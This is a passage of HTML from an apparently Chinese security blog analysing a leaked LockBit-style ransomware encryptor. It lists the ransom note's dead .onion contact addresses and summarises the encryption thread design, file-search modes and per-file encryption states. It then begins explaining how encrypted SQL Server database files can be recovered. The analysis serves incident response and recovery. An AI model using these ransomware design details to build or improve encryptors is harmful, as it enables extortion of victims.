none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=78ed1846&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FDxUXemrrntrTsnN8CDctO9kicKYIhptiakAhzSvlTuKqx3KSvyTnNibibfE8bKx6D2lm7ibY9KXNhSBzJRmCrtJ0Ing%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></figure><section style="line-height: 1.8em;letter-spacing: 0em;padding-top: 8px;padding-bottom: 8px;text-indent: 2em;"><strong style="background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;">泄露版暗网地址</strong></section><section style="line-height: 1.8em;letter-spacing: 0em;padding: 8px 10px;text-align: justify;text-indent: 2em;margin-bottom: 0px;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);word-spacing: 0em;word-break: break-word;">本次捕获的勒索信中提到的暗网地址均无法访问，返回结果为404，推测这是攻击者采用的虚张声势手段，旨在通过伪造的联系方式增加受害者的恐慌感和可信度，从而更容易迫使其支付赎金。</section><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;margin-top: 10px;margin-bottom: 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/lpHDr05YrISCFNADlEnicj8Tg73Pia6UFK7dxeDtVWzbJXib65wiaMtGOnKGDZHJVwchg3gujm9XodKUW3u2VHtLPW4k7FgZsoW4/640?wx_fmt=svg&amp;from=appmsg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><a href="http://xxxsabcqrbkutyrh77nptes44pqzldj5rk5mxnv46mmrapesp565bsyd.onion/" target="_blank">http://xxxsabcqrbkutyrh77nptes44pqzldj5rk5mxnv46mmrapesp565bsyd.onion/</a><br/><a href="http://xxxr7jug4b5uhndzelsf7vgrxygttutc6h5mqzpwp7y6blk6owhxliqd.onion" target="_blank">http://xxxr7jug4b5uhndzelsf7vgrxygttutc6h5mqzpwp7y6blk6owhxliqd.onion</a><br/></code></pre><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-imgfileid="100010254" data-ratio="0.7037037037037037" style="display: block;margin-right: auto;margin-left: auto;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-type="jpeg" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=b35e8c50&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FDxUXemrrntrTsnN8CDctO9kicKYIhptiakLDZicwoLqTcxVxdRWKfbN6z7AoDGcRWHKANZSxXMT7r8OzNmpSXKviaQ%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/><span style="background-color: rgb(0, 0, 0);font-weight: bold;letter-spacing: 0px;text-indent: 0em;word-spacing: 0em;"></span></figure><h1 data-tool="mdnice编辑器" style="border-color: rgb(0, 0, 0);margin: 30px 30px 15px;padding-top: 12px;padding-bottom: 12px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;border-style: solid;border-width: 1px;border-radius: 0px;box-shadow: none;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.1em;overflow: unset;text-align: center;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 22px;line-height: 1.2em;letter-spacing: 0em;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;border-style: none;border-width: initial;border-color: initial;border-radius: 0px;box-shadow: none;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;overflow: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: below 0em -webkit-gradient(linear, 0% 0%, 0% 100%, from(rgba(0, 0, 0, 0)), to(rgba(0, 0, 0, 0.1)));">2.逆向分析</span><span style="background-color: rgb(0, 0, 0);font-weight: bold;letter-spacing: 0px;text-align: left;text-indent: 0em;word-spacing: 0em;"></span></h1><section style="line-height: 1.8em;letter-spacing: 0em;padding: 8px 10px;text-align: justify;text-indent: 2em;margin-bottom: 0px;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);word-spacing: 0em;word-break: break-word;">以下内容为该加密器逆向分析的重点摘要，更多详细信息请参考完整文章内容<a target="_blank" href="https://mp.weixin.qq.com/s?__biz=MzkyOTQ0MjE1NQ==&amp;mid=2247493467&amp;idx=1&amp;sn=c60ce7442f326438f8a8d6f5637a168a&amp;scene=21#wechat_redirect" textvalue="【病毒分析】繁体勒索信暗藏玄机！要价50万RMB赎金的Lockbit泄露版分析" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2">【病毒分析】繁体勒索信暗藏玄机！要价50万RMB赎金的Lockbit泄露版分析</a></section><section style="line-height: 1.8em;letter-spacing: 0em;padding: 8px 10px;text-align: justify;text-indent: 2em;margin-bottom: 0px;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);word-spacing: 0em;word-break: break-word;">在关闭相关服务与进程后，创建多线程用于等待加密，创建的线程数 = 处理器内核总数 <span style="letter-spacing: 0em;text-align: left;word-spacing: 0em;">*</span><span style="letter-spacing: 0em;word-spacing: 0em;text-indent: 2em;">2 + 1，并且创建IO端口用于协作加密</span></section><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-imgfileid="100010257" data-ratio="0.3435185185185185" style="display: block;margin-right: auto;margin-left: auto;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=1436064f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FDxUXemrrntrTsnN8CDctO9kicKYIhptiaknmJy7A5IVIflatQYe1hLk9fLSqVNOQ9LFiaNJ4sdeZ4B610sGYeo35w%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></figure><section style="line-height: 1.8em;letter-spacing: 0em;padding: 8px 10px;text-align: justify;text-indent: 2em;margin-bottom: 0px;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);word-spacing: 0em;word-break: break-word;">创建好加密线程后通过三种方式对文件进行检索和加密，每种模式加密都会生成不同的密钥</section><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;" class="list-paddingleft-1"><li><section style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);line-height: 1.8em;letter-spacing: 0em;">Exchange邮件服务上的文件</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);line-height: 1.8em;letter-spacing: 0em;">本地磁盘上的文件</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);line-height: 1.8em;letter-spacing: 0em;">所在域上的文件</section></li></ul><section style="line-height: 1.8em;letter-spacing: 0em;padding: 8px 10px;text-align: justify;text-indent: 2em;margin-bottom: 0px;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);word-spacing: 0em;word-break: break-word;">对磁盘进行递归，判断路径是否是目录和要加密的文件</section><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-imgfileid="100010258" data-ratio="0.36574074074074076" style="display: block;margin-right: auto;margin-left: auto;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=29d8b691&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FDxUXemrrntrTsnN8CDctO9kicKYIhptiakBUMz8Ac8C1cPtuAuA8ic87J7ibuJeicLMekXJKkLsCpQFXlDI3zBibN8cQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></figure><section style="line-height: 1.8em;letter-spacing: 0em;padding: 8px 10px;text-align: justify;text-indent: 2em;margin-bottom: 0px;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);word-spacing: 0em;word-break: break-word;">获取文件路径</section><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-imgfileid="100010255" data-ratio="0.06265984654731457" style="display: block;margin-right: auto;margin-left: auto;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-type="png" data-w="782" src="https://wechat2rss.xlab.app/img-proxy/?k=5988b448&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FDxUXemrrntrTsnN8CDctO9kicKYIhptiakwasgYiayMmsT7KKI4uJ4YF8eqkBibYXT2Ls8T45AFq4iaTQW5OPMF54Sg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></figure><section style="line-height: 1.8em;letter-spacing: 0em;padding: 8px 10px;text-align: justify;text-indent: 2em;margin-bottom: 0px;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);word-spacing: 0em;word-break: break-word;">更改文件安全描述符</section><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-imgfileid="100010256" data-ratio="0.1630558722919042" style="display: block;margin-right: auto;margin-left: auto;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-type="png" data-w="877" src="https://wechat2rss.xlab.app/img-proxy/?k=6620ef6a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FDxUXemrrntrTsnN8CDctO9kicKYIhptiakn8OlwzlXvuRSRib1wHRnqmibIClwFt5yM9Gj8lZDK5thX1pRPls8s2rg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></figure><section style="line-height: 1.8em;letter-spacing: 0em;padding: 8px 10px;text-align: justify;text-indent: 2em;margin-bottom: 0px;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);word-spacing: 0em;word-break: break-word;">首先获取文件指针，将文件属性设为隐藏属性，设置文件指针到末尾-132处，读取文件，校验</section><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-imgfileid="100010259" data-ratio="0.6779874213836478" style="display: block;margin-right: auto;margin-left: auto;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-type="png" data-w="795" src="https://wechat2rss.xlab.app/img-proxy/?k=3b02ba88&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FDxUXemrrntrTsnN8CDctO9kicKYIhptiakMD8piaW6oDkmIUwNW2XvQv8o7rWzxBcibts4QZRvjjCNVwSKGHrHBBQg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></figure><section style="line-height: 1.8em;letter-spacing: 0em;padding: 8px 10px;text-align: justify;text-indent: 2em;margin-bottom: 0px;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);word-spacing: 0em;word-break: break-word;">计算校验和</section><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-imgfileid="100010261" data-ratio="0.39166666666666666" style="display: block;margin-right: auto;margin-left: auto;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=38f8daf7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FDxUXemrrntrTsnN8CDctO9kicKYIhptiakfq8MicnrK3mYOViaibSDPUQt4QmheU3f8zufMeFicGbia4mKqJNVAXoxaHQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></figure><section style="line-height: 1.8em;letter-spacing: 0em;padding: 8px 10px;text-align: justify;text-indent: 2em;margin-bottom: 0px;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);word-spacing: 0em;word-break: break-word;">加密线程根据得到的加密结构体偏移0x28的值来决定当前执行的操作，该处的值有以下四种</section><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;" class="list-paddingleft-1"><li><section style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);line-height: 1.8em;letter-spacing: 0em;">0（读取）：根据偏移0x398处值向0x39C读入相应大小的文件内容，然后将偏移0x28的值修改为1，当文件内容读取完后会修改为2。</section></li></ul><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-imgfileid="100010262" data-ratio="0.45363128491620114" style="display: block;margin-right: auto;margin-left: auto;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-type="png" data-w="895" src="https://wechat2rss.xlab.app/img-proxy/?k=5d8d93fe&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FDxUXemrrntrTsnN8CDctO9kicKYIhptiaklXR7yQy4LNNONz7Whib1Wep5dIJRaowXC0G2Yjc6sr29giaoGicsbOCQw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></figure><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;" class="list-paddingleft-1"><li><section style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);line-height: 1.8em;letter-spacing: 0em;text-align: justify;">1（加密）：使用偏移0x318解密后的128字节密钥对文件内容进行加密，加密文件内容后对该128字节密钥再次加密，加密轮数减1，通过判断加密轮数为0时则会将模式修改为2，否则将模式修改为1继续读取文件内容，固定加密前0x20000字节</section></li></ul><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-imgfileid="100010264" data-ratio="0.35462962962962963" style="display: block;margin-right: auto;margin-left: auto;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=07ff6af3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FDxUXemrrntrTsnN8CDctO9kicKYIhptiaktktFCvQsHZk5fiaPOYRsZexaTvnk2tHlQJhdiaKhEZkibgG9FKFhmULmw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></figure><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;" class="list-paddingleft-1"><li><section style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);line-height: 1.8em;letter-spacing: 0em;">2（追加信息）：将解密文件所需的内容追加到文件末尾，然后将模式修改为3，准备结束加密过程。</section></li></ul><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-imgfileid="100010263" data-ratio="0.29197761194029853" style="display: block;margin-right: auto;margin-left: auto;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-type="png" data-w="1072" src="https://wechat2rss.xlab.app/img-proxy/?k=7afe2c09&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FDxUXemrrntrTsnN8CDctO9kicKYIhptiakhkAdjWsicsVa6icJWKR3zseEUZH3lBIWxmSdOGHlzy8vogiaSYfiafpjmg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></figure><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;" class="list-paddingleft-1"><li><section style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);line-height: 1.8em;letter-spacing: 0em;">3（结束）：结束当前文件的加密。</section></li></ul><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-imgfileid="100010260" data-ratio="0.1292517006802721" style="display: block;margin-right: auto;margin-left: auto;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-type="png" data-w="441" src="https://wechat2rss.xlab.app/img-proxy/?k=74538ccf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FDxUXemrrntrTsnN8CDctO9kicKYIhptiakgstV8A9Kyf6RR47apiaSfiaic6Hqrc4xJrH5QohJhXvNxMwibBoP9ibZ2hQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></figure><section style="line-height: 1.8em;letter-spacing: 0em;padding: 8px 10px;text-align: justify;text-indent: 2em;margin-bottom: 0px;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);word-spacing: 0em;word-break: break-word;">综上，加密流程大致如下</section><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-imgfileid="100010267" data-ratio="0.7287037037037037" style="display: block;margin-right: auto;margin-left: auto;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=1b5cf046&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FDxUXemrrntrTsnN8CDctO9kicKYIhptiaky6stbL1pBNhPROstCkFYyYw8XfsgXBticQz8nYgHsLesdbmbl87MUrA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/><span style="background-color: rgb(0, 0, 0);font-weight: bold;letter-spacing: 0px;text-indent: 0em;word-spacing: 0em;"></span></figure><h1 data-tool="mdnice编辑器" style="border-color: rgb(0, 0, 0);margin: 30px 30px 15px;padding-top: 12px;padding-bottom: 12px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;border-style: solid;border-width: 1px;border-radius: 0px;box-shadow: none;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.1em;overflow: unset;text-align: center;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 22px;line-height: 1.2em;letter-spacing: 0em;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;border-style: none;border-width: initial;border-color: initial;border-radius: 0px;box-shadow: none;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;overflow: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: below 0em -webkit-gradient(linear, 0% 0%, 0% 100%, from(rgba(0, 0, 0, 0)), to(rgba(0, 0, 0, 0.1)));">3.数据库恢复</span><span style="background-color: rgb(0, 0, 0);font-weight: bold;letter-spacing: 0px;text-align: left;text-indent: 0em;word-spacing: 0em;"></span></h1><section style="line-height: 1.8em;letter-spacing: 0em;padding: 8px 10px;text-align: justify;text-indent: 2em;margin-bottom: 0px;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);word-spacing: 0em;word-break: break-word;">以下内容为数据库恢复的技术细节说明，基于模拟测试环境进行操作，并非真实案例中的客户数据。本文旨在对本次数据库恢复的关键步骤和技术方法进行简要讲解，为类似场景提供技术参考与指导。</section><h2 data-tool="mdnice编辑器" style="background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(251, 251, 251);margin-top: 30px;margin-bottom: 15px;align-items: unset;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;box-shadow: none;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.5em;overflow: unset;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="display: none;"></span><span style="font-size: 20px;color: rgb(255, 255, 255);background: none 0% 0% / auto no-repeat scroll padding-box border-box rgb(33, 33, 34);line-height: 2.4em;letter-spacing: 0em;padding-left: 15px;padding-right: 30px;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px 0px 40px;align-items: unset;box-shadow: none;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;overflow: unset;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;">3.1 内容对比</span><span style="display: none;"></span></h2><section style="line-height: 1.8em;letter-spacing: 0em;padding: 8px 10px;text-align: justify;text-indent: 2em;margin-bottom: 0px;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);word-spacing: 0em;word-break: break-word;">使用十六进制查看工具进行观察，上方为正常mdf，下方为被加密mdf，可发现仅有头部被加密。</section><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-imgfileid="100010268" data-ratio="0.6203703703703703" style="display: block;margin-right: auto;margin-left: auto;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=1a0f45c1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FDxUXemrrntrTsnN8CDctO9kicKYIhptiakdkyXBIZ3wUtp6Jh8ddSaApzGOrctbOrlpfch4aXFDbpHwTBHticqmbg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></figure><section style="line-height: 1.8em;letter-spacing: 0em;padding: 8px 10px;text-align: justify;text-indent: 2em;margin-bottom: 0px;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);word-spacing: 0em;word-break: break-word;">被加密的数据库文件头部在缩略查看时通常表现为十分混乱，通过计算文件的熵值也能验证这种加密所带来的混乱</section><p style="line-height: 1.8em;letter-spacing: 0em;padding-top: 8px;padding-bottom: 8px;text-indent: 2em;">sierting.mdf.X3rmENR07:</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-imgfileid="100010265" data-ratio="0.10179640718562874" style="display: block;margin-right: auto;margin-left: auto;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-type="png" data-w="334" src="https://wechat2rss.xlab.app/img-proxy/?k=dcdd1203&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FDxUXemrrntrTsnN8CDctO9kicKYIhptiakRZ8IAaW74gt4c5l6oHxXtQWYz4glM37iaJ5aicbNsDjSqMStOj3OX4wA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></figure><section style="line-height: 1.8em;letter-spacing: 0em;padding-top: 8px;padding-bottom: 8px;text-indent: 2em;">sierting.mdf:</section><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-imgfileid="100010266" data-ratio="0.12269938650306748" style="display: block;margin-right: auto;margin-left: auto;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-type="png" data-w="326" src="https://wechat2rss.xlab.app/img-proxy/?k=ed59098f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FDxUXemrrntrTsnN8CDctO9kicKYIhptiaksW2p4uQDazth6jxPXe32TiaiacF3hPMFic13U5puyNCE1b1JnZSlH0pzw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></figure><section style="line-height: 1.8em;letter-spacing: 0em;padding: 8px 10px;text-align: justify;text-indent: 2em;margin-bottom: 0px;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);word-spacing: 0em;word-break: break-word;">通过分析被加密文件，可发现加密偏移量范围为000000h-4FFFF0h，即头部5MB</section><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-imgfileid="100010269" data-ratio="0.6157407407407407" style="display: block;margin-right: auto;margin-left: auto;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-type="png" data-w="1080" 